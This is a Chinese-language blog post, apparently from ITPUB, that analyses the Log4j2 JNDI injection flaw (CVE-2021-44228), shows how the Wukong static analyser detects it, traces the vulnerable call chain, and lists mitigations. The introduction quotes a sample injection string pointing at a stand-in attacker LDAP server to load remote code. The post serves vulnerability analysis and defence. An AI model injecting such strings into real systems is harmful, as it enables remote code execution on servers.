靜態程式碼檢測工具Wukong對log4J中的漏洞檢測、分析及漏洞修復

zktq2021發表於2021-12-15

一、簡介

最近的Log4J漏洞(CVE-2021-44228)正造成網路大亂,其影響力不亞於早期的HeartBleeding漏洞。2.0-beta9 ~ 2.14.1版本的Apache Log4j2均存在改漏洞,可以說直接影響了大部分基於Java的應用。該漏洞最早被阿里雲安全團隊發現並驗證,隨即被Apache定義為高危級別。

Log4j在log字串”${jndi:xxx}”時,“${“這一特殊字元會指定Log4J通過JNDI來根據字串”xxx”獲得對應名稱。如果字串“xxx”為有害的URL” (LDAP:// attackerserver.com:1389/ExploitPayload”),JNDI會遠端載入呼叫該URL指定的伺服器上任意程式碼並執行。JNDI(Java Naming and Directory Interface),是Java的一個目錄服務應用程式介面(API),它提供一個目錄系統,並將服務名稱與物件關聯起來,從而使得開發人員在開發過程中可以使用名稱來訪問物件。該漏洞屬於典型的注入型別漏洞,攻擊者通過控制日誌訊息或日誌訊息引數注入惡意程式碼。

如果使用者輸入被輸出到日誌中,由於Log4J元件未對使用者輸入進行充分輸入驗證,攻擊者可以通過Apache Log4j2 JNDI 功能來執行注入程式碼,包括從指定惡意LDAP伺服器並載入的的任意程式碼。

二、通過Wukong檢測log4J漏洞

對於注入類漏洞(包括SQL隱碼攻擊、命令列注入、XSS等),我們可以通過經典的資訊流分析技術來檢測是否存在一條路徑從使用者輸入 (Source) 到達危險操作點(Sink),且該使用者輸入未經過輸入驗證。

對於Log4J漏洞,當檢測log4J庫時,Source為Log4J元件提供的公共API輸入(例如Log4j.error()的引數),Sink為訪問JNDI服務的介面。Wukong可以有效地檢測出Log4J庫中存在的jndi注入問題。如圖1所示。

圖1:通過Wukong檢測Log4J漏洞

注意觸發該漏洞的呼叫鏈非常長,隱藏比較深且涉及到複雜的指標依賴關係,我們測試過一些其他靜態分析工具均未能檢測出該漏洞。

三、錯誤根源分析

漏洞觸發路徑如下所示:

1、 獲取Logger,並呼叫error方法

2、 error方法內會呼叫logIfEnabled方法,注意,debug、info、warn、error、fatal等公共API都會呼叫logIfEnabled方法

3、 logIfEnaled方法會呼叫logMessage方法

4、 接著會根據進入下列呼叫鏈:logMessageSafely -> logMessageTrackRecursion -> tryLogMessage -> Logger.log -> DefaultReliabilityStrategy.log -> processLogEvent -> callAppenders -> callAppenderPreventRecursion -> callAppender0 -> tryCallAppender -> append -> tryAppend -> directEncodeEvent -> PatternLayout.encode -> toText -> toSerializable -> PatternFormatter.format 最終會呼叫MessagePatternConverter類的format函式,當日志字串帶有”${”的時候會特殊處理。

5、 字串會交給StrSubstitutor做replace -> substitute處理,找到 “${” 對應的 “}” 並提取中間的字串,這裡是“jndi:xxx”

6、 Substitute方法會呼叫resolveVariable,接著會呼叫JndiLookup類的lookup函式

7、 最後JndiManager的lookup函式會解析jndi資源,這裡是“xxx”,如果“xxx“部分是可執行的惡意程式,那麼該程式將會被執行,從而產生非常嚴重的危害。

因而,如果伺服器程式碼中直接將使用者的輸入使用Logger寫入日誌,則使用者可以構造任意惡意程式碼攻擊伺服器。

四、漏洞修復

對該漏洞的修復在log4j2.15.0及以後版本中是通過將“${“字元過濾進行特殊處理。對於應用的補丁是建議直接升級到2.15.0及以後版本,如果由於相容性的原因難以升級,可以通過以下方法暫時處理:

1、 修改jvm啟動引數,-Dlog4j2.formatMsgNoLookups=true

2、 修改配置:log4j2.formatMsgNoLookups=True

3、 將系統環境變數 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 設定為 true

同時注意該漏洞僅僅能在使用者輸入被Log的時候觸發,因而我們可以通過靜態分析工具Wukong檢測應用中是否存在使用者輸入直接輸出到日誌中:對於應用程式程式碼我們可以將外部輸作為source,將log函式作為sink,檢視是否存在一條路徑可達,即是否存在外部輸入可以控制log函式的引數。如果不存在這樣一條路徑,log4J中的漏洞也不會觸發。


來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/70000012/viewspace-2847853/,如需轉載,請註明出處,否則將追究法律責任。

相關文章